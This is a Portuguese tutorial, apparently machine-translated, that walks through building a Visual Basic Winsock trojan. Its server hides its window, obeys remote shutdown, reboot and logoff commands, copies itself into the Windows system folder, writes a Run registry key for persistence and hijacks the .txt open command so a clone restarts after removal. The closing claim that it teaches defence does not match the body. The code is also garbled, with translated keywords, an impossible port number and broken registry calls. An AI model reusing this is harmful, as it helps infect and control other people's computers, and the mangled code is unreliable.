Primeiro, crie um novo projeto chamado Servidor, crie um novo formulário com Nome como Servidor, adicione um controle Winsock ao formulário, defina Nome como sckServer e defina o protocolo como o protocolo TCP/ip padrão.
A seguir, voltamos ao módulo Formulário do servidor e adicionamos o seguinte código:
->PRivateSubform_Load()
Comigo
.sckServer.LocalPort=88917'Porta local (haha! Meu aniversário!)
.sckServer.Listen'Comece a ouvir
Terminar com
Fim Sub
'Aceite a solicitação de conexão do cliente.
PrivateSubsckServer_ConnectionRequest(ByValrequestIDAsLong)
Comigo
If.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Accept(requestID)
Terminar com
FimSub->
A seguir, vamos criar um programa cliente: crie um novo projeto chamado Client, nomeie o formulário Client, adicione um controle Winsock nele, chamado sckClient, e o protocolo é o protocolo TCP/IP. Adicione outro botão cmdConnect e adicione código ao módulo de formulário:
->PrivateSubform_Load()
Comigo
.sckClient.RemoteHost=127.0.0.1'Defina o IP remoto Neste exemplo, configure-o para a máquina local.
.sckClient.RemotePort=88917'A porta remota é igual à configuração no servidor.
Terminar com
Fim Sub
PrivatesubcmdConnect_Click()
SckClient.Connect
Fimsub->
Neste ponto, quando clicamos no botão Conectar, nossos dois projetos podem se comunicar, mas não estão visíveis. Você pode adicionar código ao evento sckClient_Connect no Cliente: debug.printConnetionsuccessful para vê-lo.
Este é apenas o primeiro passo e não há nenhum trabalho realizado. Vamos adicionar funcionalidade a eles. Por uma questão de simplicidade, este artigo implementa apenas algumas pequenas funções – desligamento, reinicialização e logout. OK, vamos começar!
Crie um novo módulo no projeto Server com o nome modApi. Este módulo contém algumas funções de API.
->PublicDeclareFunctionExitWindowXXXLibuser32AliasExitWindowXXX(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong
PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAsAny)AsLong
PublicTypeRECT
EsquerdaAsLong
TopAsLong
CertoAsLong
InferiorAsLong
FimTipo->
Nota: Na programação entre dois soquetes, o evento importante para comunicação é o evento DataArrival, que é utilizado para receber dados remotos.
A seguir, coloque três botões no formulário Cliente do projeto Cliente, nomeadamente cmdExit, cmdLogoff e cmdReboot. Eles são usados para operações remotas de desligamento, logout e reinicialização. Adicione os seguintes códigos respectivamente:
->PrivateSubcmdExit_Click()
Me.sckClient.SendDataExit
Fim Sub
PrivateSubcmdLogoff_Click()
Me.sckClient.SendDataLogoff
Fim Sub
PrivateSubcmdReboot_Click()
Me.sckClient.SendDataReboot
FimSub->
Todas as solicitações são feitas ao servidor. Agora vá para o projeto Server: adicione o evento DataArrial do sckServer no Server para receber a solicitação do cliente.
->PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)
DimstrDataAsString
Comigo
'Receber informações solicitadas pelo cliente
.sckServer.GetDatastrData
SelecioneCasestrData
CasoSair
'Desligar
ChamarExitWindowXXX(EWX_SHUTDOWN,0)
CaseReboot
'Reiniciar
ChamarExitWindowXXX(EWX_REBOOT,0)
CasoLogoff
'Sair
ChamarExitWindowXXX(EWX_LOGOFF,0)
Finalizar seleção
Terminar com
FimSub->
Ok, agora implementamos a função, mas ainda não, queremos que ela seja executada nos bastidores. Isso é simples, adicione uma frase: me.hide ao evento form_Load no servidor. Felizmente, agora é invisível, mas todos sabem que o Trojan é executado automaticamente assim que o computador é ligado. Por que isso acontece e como isso é feito? Adicioná-lo ao grupo de inicialização no registro? Sim, bom, venha comigo!
Volte para modApi no projeto Server e adicione a seguinte função API:
->PublicDeclareFunctionRegOpenKeyLibadvapi32.dllAliasRegOpenKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong
PublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3
PublicConstREG_SZ=1
PublicConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000->
Um processo que grava no grupo de inicialização do registro.
->PublicSubStartupGroup()
DimsKeyAsString
DimresultAsLong
DimhKeyIDAsLong
DimsKeyValAsString
sKey=Systrsy'Inicie a chave no grupo e encontre uma que seja semelhante ao arquivo do sistema.
sKeyVal=C:/windows/system/systrsy.exe'O caminho do arquivo Trojan Você pode usar GetSystemDirectory para obter o caminho do sistema.
resultado=RegOpenKey(HKEY_LOCAL_MACHINE,_
Software/Microsoft/Windows/Versão Atual/Executar,hKeyID)
Ifresultado=0Então
resultado=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
FimSe
FimSub->
Bem, é isso. Porém, você já pensou nisso, se você não for um novato e excluí-lo do registro, nosso trabalho árduo não seria em vão? Não, você tem que impossibilitar a exclusão, mesmo que ele o encontre. Por favor, veja o código abaixo:
->PublicSubWriteToTxt()
DimresultAsLong
DimhKeyIDAsLong
DimskeyAsString
DimskeyValAsString
skey=txtarquivo/shell/abrir/comando
skeyVal=C:/windows/system/txtView.exe
resultado=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)
Ifresultado=0Então
resultado=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
FimSe
FimSub->
Muitos amigos devem ter sabido à primeira vista que ele estava originalmente associado ao arquivo txt, o que não é nada ruim, mas de onde veio C:/windows/system/txtView.exe Nosso Trojan é C:/windows/system? /systrsy.exe. Este é o clone do nosso cavalo de Tróia.
Ok, volte ao form_Load do formulário Server do projeto Server e adicione o seguinte código:
->DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&/&App.EXENome&.exe
sSystemDir=C:/windows/sistema
OnErrorResumePróximo
'Copie o arquivo para Systrsy.exe no diretório do sistema
FileCopysCurrentPath,sSystemDir&/Systrsy.exe
OnErrorResumePróximo
Copie o arquivo para txtView.exe no diretório do sistema
FileCopysCurrentPath,sSystemDir&/txtView.exe->
chamar
->Grupo de inicialização de chamada
CallWriteToTxt
'Determina se o programa está rodando
IfApp.PrevInstanceThen
'Sair se já estiver em execução.
Fim
FimSe->
Perceber:
1. Ao lidar com portas, é melhor usar portas de ponta, caso contrário elas entrarão em conflito com algumas portas comumente usadas.
2. É melhor ler livros relevantes ao usar o VB.NET pela primeira vez.
->
O texto acima é como usar o Visual Basic para evitar ataques de Trojan. Espero que todos vocês conheçam a si mesmos e ao inimigo e tomem precauções antes que eles aconteçam!